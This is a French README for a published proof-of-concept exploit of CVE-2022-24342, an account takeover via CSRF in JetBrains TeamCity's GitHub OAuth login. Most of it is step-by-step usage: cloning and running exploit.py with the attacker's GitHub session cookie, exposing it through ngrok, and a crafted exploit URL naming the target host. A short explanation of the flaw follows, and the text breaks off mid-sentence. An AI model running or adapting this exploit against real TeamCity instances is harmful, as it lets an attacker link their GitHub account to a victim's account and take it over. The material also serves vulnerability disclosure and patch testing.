
PoC pour CVE-2022-24342 : prise de contrôle de compte via CSRF dans l'authentification GitHub
JetBrains TeamCity - détournement de compte via CSRF dans l'authentification GitHub (PoC)
Essayez de vous connecter avec le compte GitHub de l'attaquant sur l'instance TeamCity cible afin que l'application GitHub de TeamCity soit autorisée.
Installez et exécutez :
$ git clone https://github.com/yuriisanin/CVE-2022-24342
$ cd CVE-2022-24342/
$ pip3 install -r requirements.txt
$ python3 exploit.py -h
usage: exploit.py [-h] -s S [-p P]
optional arguments:
-h, --help show this help message and exit
-s S GitHub user session
-p P Uvicorn port
$ python3 exploit.py -s {attackers_github_session_cookie}
Si vous exécutez l'exploit sur la machine locale, vous devrez peut-être utiliser Ngrok ou des alternatives.
$ ngrok http 8000
homepage: "http://{exploit-host}:8000"
authorization callback url: "http://{exploit-host}:8000/callback"
http://{exploit-host}:8000/exploit?target_host=http://{target-host}&gh_client_id={github_oauth_client_id}
DÉMO :
TeamCity était vulnérable à l'injection de paramètres de requête lors du flux OAuth2, permettant à un attaquant de rediriger l'utilisateur vers une application GitHub OAuth2 arbitraire, d'intercepter un paramètre d'état valide et de connecter un compte GitHub arbitraire au compte TeamCity de la victime.
Cela était possible grâce aux éléments suivants :

